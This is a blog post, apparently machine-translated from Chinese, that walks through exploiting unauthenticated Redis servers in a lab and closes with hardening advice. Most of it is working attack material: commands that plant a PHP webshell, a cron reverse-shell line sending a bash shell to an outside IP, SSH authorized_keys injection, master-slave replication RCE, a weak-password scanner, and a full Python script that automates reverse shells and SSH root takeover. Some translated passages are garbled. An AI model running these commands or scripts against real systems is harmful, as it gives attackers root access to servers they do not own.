Redis unauthorized vulnerability summary

Redis unauthorized vulnerability summary

image-20200904163216140

0x00 Redis introduction

Redis is currently one of the most popular NoSQL databases. Redis is an open source written in ANSI C, contains a variety of data structures, supports network, memory-based, optional persistence key-value pair storage database, it has the following characteristics:

  • Based on memory operation, high performance
  • Support distributed, theoretically unlimited expansion
  • key-value storage system
  • Open source written in ANSI C language, comply with the BSD protocol, support the network, memory-based or persistent log type, Key-Value database, and provide APIs in multiple languages

At present, big companies such as Guthub/twitter/Weibo/Ali/Meituan/Baidu are using Redis. The application scenarios of Redis include: caching system ("hot" data: high frequency read, low frequency write), counter, message queue system, Leaderboards, social networks and real-time systems.

0x01 vulnerability principle

Redis versions prior to redis-4.0.10 will be bound to 0.0.0.0:6379 by default. If no relevant policies are adopted, such as adding firewall rules to avoid ip access from other untrusted sources, this will enable the Redis service Exposing to the public network, if there is no password authentication (usually empty), any user will be unauthorized to access Redis and read Redis data when they can access the target server.

Versions after redis-4.0.10 enable the protected mode by default, allowing only local password-free authentication connections. If you want to use it again, you may have to consider weak passwords and configuration errors.

Elevation of privilege attack : The attacker can use the config command provided by Redis itself to write files without authorization to access Redis. The attacker can successfully write his ssh public key to /root/.ssh of the target server In the authenticated_keys file of the folder, you can use the corresponding private key to directly use the ssh service to log in to the target server, add scheduled tasks, and write to Webshell.

0x02 environment construction

Target machine ubuntu@server-redis-test ip: 123.207.54.204

Attack aircraft: kali2020

Redis: version 6.0.6

0x03 Unauthorized reproduction

0x03.1 redis installation

  • Download, unzip, compile
wget http://download.redis.io/releases/redis-6.0.6.tar.gz  # 下载压缩包
tar -zxvf redis-6.0.6.tar.gz  #解压
cd redis-6.0.6   # 切换目录
make #安装
make install
  • Test to verify whether the installation is successful

image-20200903140913941

0x03.2 configuration file modification

  • Modify the redis.conf configuration file and turn off the protected mode to enable remote access:
nano redis.conf  # 编辑 配置文件

# 关闭默认情况下安全模式
    bind 127.0.0.1前面加上#号
    protected-mode设为no  

注释:
- 关闭protected-mode模式,此时外部网络可以直接访问
- 开启protected-mode保护模式,需配置bind ip或者设置访问密码
- redis.conf配置文件中daemonize守护线程,默认是NO
  • In real business, configuration files are often modified as above for convenience.
  • In versions prior to 4.0.10, there is no safe mode. You can log in to redis without password without modifying the default configuration file.

0x03.3 open redis service

./src/redis-server redis.conf

image-20200902163328103

0x03.4 Unauthorized verification

  • Log in to redis from the command line to get the default redis directory and rdb file name

image-20200902161813286

  • So far we have achieved unauthorized access to Redis and read Redis data. Next, we try to use the privilege escalation technique after logging in to redis according to the relevant permissions when the server opens the redis service.

0x04 right escalation

  • Use three methods to escalate privileges according to the environment

0x04.1 write absolute path to webshell

Conditions of use:

  • Web server
  • redis has write permission for web directory

Pre-knowledge points:

config set dir xxxxx # Specify the local database storage directory

config set dbfilename xxxxx.rdb # Specify the local database file name, the default value is dump.rdb

set x “test” # Set the value of variable x to test

Based on this, we can try to write the webshell into the web path pretending to be a database file, assuming that the web path is found through the website test/var/www/xss_platform

123.207.54.204:6379> config set dir /var/www/xss_platform   # 设置redis目录为 web路径
OK
123.207.54.204:6379> config set dbfilename shell.php    # 设置数据库文件为shell.php
OK
123.207.54.204:6379> set x "<?php phpinfo();?>" # 使用set命令将shell代码写入到shell.php
OK
123.207.54.204:6379> save    #将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘,也就是将shell.php文件保存起来
OK

At this point we access the shell.php just saved in the browser, as shown below

image-20200902165900435

If the incoming is from Malaysia, you can immediately get the server permissions

0x04.2 crontab task reverse shell

Conditions of use:

  • redis runs as root

Pre-knowledge

The cron that can be used under ubuntu has the following places:

  • /etc/crontab: The task plan in this file can be executed directly
  • /etc/cron.d/*: Any file in this directory can be used as a task plan to execute, and the original task plan file is avoided from being overwritten
  • /var/spool/cron/crontabs/: The task schedule file defined in this directory will be executed, but there needs to be a prerequisite, that is, the permission of the task schedule file must be 600

Scheduled task file under CentOS

  • /etc/crontab: The task plan in this file can be executed directly
  • /var/spool/cron/root: The task plan in this file can be executed directly

Here we use the ubuntu target machine and CentOS target machine to perform the reverse shell test

0x04.2.1 CentOS system write reverse shell

First listen to the custom port on the attacker

nc -lvnp 23333

image-20200903174611474

Then open a new terminal and write the following command

123.207.54.204:6379> set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/118.24.127.188/23333 0>&1\n"
OK
123.207.54.204:6379> config set dir /var/spool/cron/
OK
123.207.54.204:6379> config set dbfilename root
OK
123.207.54.204:6379> save
OK

After a minute or so, the rebound shell was successfully obtained. As shown in the figure below, the server authority is root

image-20200903174423452

0x04.2.2 ubuntu system write reverse shell
  • Pre-knowledge

The shell environment for command execution in cron in linux is /bin/sh

The soft connection of /bin/sh in ubuntu points to dash, and the shell environment used by our reverse shell is bash

$ ls -al /bin/sh
lrwxrwxrwx 1 root root /bin/sh -> dash

So we first modify the soft link to point

$ ln -s -f bash /bin/sh
$ ls -al /bin/sh
lrwxrwxrwx 1 root root /bin/sh -> bash
  • Write /var/spool/cron/crontabs/directory under ubuntu

The same process, but this time I waited for a long time but failed to rebound

image-20200903163102950

In order to find out what caused the failure, we checked the system log on the target machine, as shown in the figure below, we can see that the error was reported because the permissions of the written root file were not 600 as expected.

image-20200903151906345

View the permission to write the root file is 644, so /var/spool/cron/crontabsit cannot be rebound in the directory

  • Write /etc/cron.d** and/etc/crontab

After testing, it still fails to reverse shell successfully

The reason for viewing the log error is ** ERROR (Syntax error, this crontab file will be ignored)**, that is, grammatical errors caused by garbled characters in the content written by redis to the task plan file, and garbled codes are inevitable.

  • to sum up
  1. If you write a /etc/crontabsum /etc/cron.d, the grammar is not recognized due to garbled characters, which will cause ubuntu to fail to recognize it correctly and cause the timing task to fail.
  2. If you write /var/spool/cron/crontabs/root, the permission is 644 and ubuntu cannot run.

0x04.3 Write public key SSH to remotely log in to the server

Conditions of use:

  • redis runs as root
  • The server opens the SSH service, and allows the use of key login, you can remotely write a public key, and log in to the remote server directly.

Pre-knowledge:

SSH provides public key login, which saves the step of entering a password.

  • The so-called "public key login" means that the user stores his public key on the remote host. When logging in, the remote host will send a random string to the user, which will be sent back after the user encrypts it with his private key. The remote host uses the public key stored in advance to decrypt it. If it succeeds, it proves that the user is credible and directly allows the login shell without requiring a password.
  • This method requires users to provide their own public key. If there is no ready-made one, you can directly use ssh-keygen to generate one.
  • In the $HOME/.ssh/ directory, two new files will be generated: id_rsa.pub and id_rsa. The former is your public key and the latter is your private key.
  • Usually the public key is transmitted to the remote host at this time.
  • The remote host saves the user's public key in the $HOME/.ssh/authorized_keys file in the user's home directory after login.
  • The public key is just a string, just append it to the end of the authorized_keys file.

First generate a personal public key:

image-20200903175604711

Then log in to redis and execute the following commands:

root@kali:~# redis-cli -h 123.207.54.204
123.207.54.204:6379> config get dir
1) "dir"
2) "/var/spool/cron"
123.207.54.204:6379> config set dir /root/.ssh/
OK
123.207.54.204:6379> config set dbfilename authorized_keys
OK
123.207.54.204:6379> set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDK3jSlBCnkvmDPc+gK2b0ABt3LFEdq5oY1CO2x3Tr/Iiz6Ec4xVo7Hwcefrppo23CMa0zrOxLEhize9xPoBAbCMdqd/0ywRJe9MJzOecayaBRdTgqqaYCNR6Q4W5wpUd1GlRIzgKnhH1d+a9GJMSRRm+UpXRYu1AHMaN5G6hrdbQCHx7k6Rt2qXQ7aTKmMKLdMKeR5gx43Od4dfJ3N7jfTgEzRwyVc0cY0BMSo74U4uCfP0qRyWZHmRz/Vf6L4EEjsaqFDzBtQMZRMN+ZKuHH5elPFWreVxWrYjgLAxxxC/8nJ1qP2dy7EYCxtsCXXBTjRxSekolsswdTtM5ZWCQX8Wtr+u6OTKoXDlRNay5dkOWfY4kw3eBW3FyE6/POaXOtRSi1oPJ9wf0qlC1/YhuYe/8831TPLwKW+X/IJRVCr9kUfR3763Qny0hoxSz9Fyl3zImYwifKIdsdf/pxWsMczapV1eq9KvEfXqfsmP6yvNz7Vv/rZIinYXtbUgGj2kM= root@kali\n\n\n"
OK
123.207.54.204:6379> save
OK
123.207.54.204:6379> 

Log in to ssh directly with the public key, and control the server directly with root authority

image-20200903180131755

0x05 Use Redis master-slave replication getshell

0x05.1 Conditions of use

  • Affected version: Redis 4.x/5.x (<= 5.0.5)
  • Vulnerability type: RCE
  • Utilization conditions: unauthorized or weak password access to the redis service from the Internet

0x05.2 Vulnerability background

  • But with the continuous development of modern service deployment methods, components have become an inescapable trend. Docker is one of the products of this trend. In this deployment mode, there will be no redis in a single container. Any service other than that, including ssh and crontab, coupled with strict permission control, is difficult to getshell just by writing files. In this case, we need other means of use.

0x05.3 Pre-knowledge

  • **Master-slave replication: **Store data in a single Redis instance. When the volume of reads and writes is relatively large, the server can hardly bear it. In order to cope with this situation, Redis provides a master-slave mode. The master-slave mode refers to the use of a redis instance as the host, and the other instances as the backup machine. The host and the slave have the same data, and the slave is only responsible for reading, and the host only Responsible for writing, through the separation of read and write, the pressure on traffic can be greatly reduced, which can be regarded as a mitigation method by sacrificing space in exchange for efficiency.

0x05.4 Vulnerability principle

  • At the WCTF2019 Final that ended on July 7, 2019, LCBC member Pavel Toporkov introduced a new version of redis RCE utilization method at the sharing session, which is more versatile and more harmful
  • 演讲PPT:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
  • The specific principle is more complicated. To put it simply, the host uses master-slave replication to send the custom redis module (ie exp.so) to the slave. After the slave loads the module, it can execute the custom command to realize rce

0x05.5 Vulnerability recurrence

First use docker to build a master-slave environment, pull the redis5.0 image and start two containers

root@ubuntu:/# docker run -itd --name redis-master -p 6379:6379 damonevking/redis5.0
2043a247a23403bd141ced59e0351be85de0a16f5bca50d3054893bf8702c102
root@ubuntu:/# docker run -itd --name redis-slave -p 6380:6379 damonevking/redis5.0
75ca3a09077303c7f4c2724dcb68bf86affb12acf6a7afcda26a0b77c0920f46

View the running container

image-20200904144859403

As follows, set 172.17.0.3 as a slave

image-20200904151002903

Check the configuration of the master 172.17.0.2, the slave information is already in it

image-20200904151212549

The master-slave replication environment is set up to pull the attack EXP: https://github.com/vulhub/redis-rogue-getshell to the local and enter its directory

First, the preparation of the Redis module

cd RedisModulesSDK/
make
- 会在当前目录下生成exp.so模块

Then return to the redis-rogue-getshell directory

cd ..
python3 redis-master.py -r 172.17.0.3  -p 6379 -L 172.17.0.1 -P 8888 -f RedisModulesSDK/exp.so -c "id"

As shown in the figure below, successfully obtained the server permissions of the redis slave

image-20200904154138845

0x06 Automated script utilization

0x06.1 Redis unauthorized detection and weak password scanning script

#! /usr/bin/python3
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n".encode())
        result = s.recv(1024).decode()
        if "redis_version" in result:
            return u"IP : {}存在未授权访问".format(ip)
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                payload = "AUTH {}\r\n".format(pass_)
                s.send(payload.encode())
                result = s.recv(1024).decode()
                if '+OK' in result:
                    return u"IP : {}存在弱口令,密码:{}".format(ip, pass_)
    except Exception as e:
        error = e.args
        if error == ('', ):
            error = 'save error'
        print('[-] [{}] : {}'.format(error, ip))
    
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print(check(ip, port, timeout=10))

Use screenshots~

image-20200908140154523

0x06.2 Redis privilege escalation script

import redis
import sys
import paramiko


rsa_pub = 'id_rsa.pub'  # 公钥路径
pkey = 'id_rsa'  # 私钥路径

# 获取公钥内容
def get_id_rsa_pub():
    with open(rsa_pub,'rt') as f:  # r为读,t:windows平台特有的所谓text mode(文本模式),区别在于会自动识别windows平台的换行符。
        id_rsa_pub = '\n\n\n{}\n\n'.format(f.read())  # 使用前后换行符将公钥与其他redis乱码信息隔开
    return id_rsa_pub


def cron_shell_redis(ip, port, listen_ip, listen_port): 
    shell = "\n* * * * * /bin/bash -i >& /dev/tcp/{}/{} 0>&1\n".format(listen_ip, listen_port)
    try:
        r = redis.Redis(host= ip, port= port, socket_timeout= 5)
        r.set(name='xx', value=shell)
        r.config_set('dir', '/var/spool/cron/')
        print('[ok] : config set dir /var/spool/cron/')
        r.config_set('dbfilename', 'root')
        print('[ok] : config set dbfilename "root"')
        r.save()
        print('[ok] : save') 
        print('[next] : 请在本机进行监听,等待反弹...')
    except Exception as e:
        error = e.args
        if error == ('', ):
            error = 'save error'
        print('[-] [{}] : {}'.format(error, ip))



def ssh_shell_redis(ip, port, ssh_port):
    try:
        r = redis.Redis(host = ip, port = port, socket_timeout = 5)  # 连接redis服务器
        r.config_set('dir', '/root/.ssh')
        print('[ok] : config set dir /root/.ssh')
        r.config_set('dbfilename', 'authorized_keys')
        print('[ok] : config set dbfilename "authorized_keys"')
        id_rsa_pub = get_id_rsa_pub()
        r.set('rsa_pub', id_rsa_pub)   # 写入公钥
        print('[ok] : set rsa_pub')
        r.save()
        print('[ok] : save')    # 保存进数据库
        key = paramiko.RSAKey.from_private_key_file(pkey) # 载入私钥,若私钥有密码时,参数加password
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 通过公共方式进行认证 (不需要在known_hosts 文件中存在)
        ssh.connect(ip, port=ssh_port, username="root", pkey=key, timeout=5) # 连接漏洞服务器
        ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('id')  
        content = ssh_stdout.readlines()
        if content:
            print("[ok] connecting to {} : {}".format(ip, content[0]))
        while True:
            command = input('{} >>>'.format(ip))  # 输入任意命令
            ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(command)
            contents = ssh_stdout.readlines()
            for content in contents:
                print(content)
    except Exception as e:
        error = e.args
        if error == ('', ):
            error = 'save error'
        print('[-] [{}] : {}'.format(error, ip))

# def test_redis():
#     r = redis.Redis(host = '123.207.54.204', port = 6379, socket_timeout = 5)
#     r.config_set('dir', '/root/.ssh')
#     print('[ok] : config set dir /root/.ssh')


if __name__ == "__main__":
    if len(sys.argv) > 3 and len(sys.argv) < 6:
        ip = sys.argv[1]
        port = sys.argv[2]
        if len(sys.argv) == 5:
            cron_shell_redis(ip, port, sys.argv[3], sys.argv[4])
        else:
            ssh_shell_redis(ip, port, sys.argv[3])
    else:
        print('输入参数有误!')

Instructions:

  • Reverse shell:

    python redis_shell.py redis_server_ip redis_port listen_ip listen_port
    
  • Write the ssh public key:

    python redis_shell.py redis_server_ip redis_port ssh_port
    

Reverse shell~

image-20200907173814564

Write the ssh public key, get root privileges to execute commands

image-20200907162208889

0x07 Security Recommendation

  1. Disable high-risk commands

    在 redis.conf 文件中直接将危险命令置空
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
    或者改变其名字
    rename-command FLUSHALL "name1"
    rename-command CONFIG "name2"
    rename-command EVAL "name3"
    
  2. Run Redis service with low permissions

    - redis默认使用用户权限启动的,降权可以避免getshell后直接就是root
    groupadd -r redis   
    useradd -r -g redis redis
    
  3. Add password verification for Redis

    - 修改 redis.conf 文件,添加
    requirepass mypassword
    
  4. Do a good job of access control, and bind locally when you don't need to connect to the external network.

    - 修改 redis.conf 文件:
    bind 127.0.0.1
    
  5. Modify the default port

  6. Set the hidden file attributes, do not allow to modify authorized_keys

    - 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
    chmod 400 ~/.ssh/authorized_keys
    - 保证权限不被更改
    chattr +i ~/.ssh/authorized_keys
    chattr +i ~/.ssh
    
  7. Set up firewall policies to allow only specific IP connections

reference

Redis unauthorized access vulnerability exploitation summary

Redis unauthorized access vulnerability exploitation summary

SSH uses key login and prohibits password login practice

Redis source code reading: What does Redis do when you enter the get/set command

Redis Unauthorized Access Vulnerability in Ubuntu Reverse Shell Problem

Solve the problem of ubuntu crontab reverse shell failure

Remember a failed exploit

Guess you like

Origin blog.csdn.net/weixin_39664643/article/details/112966774
Recommended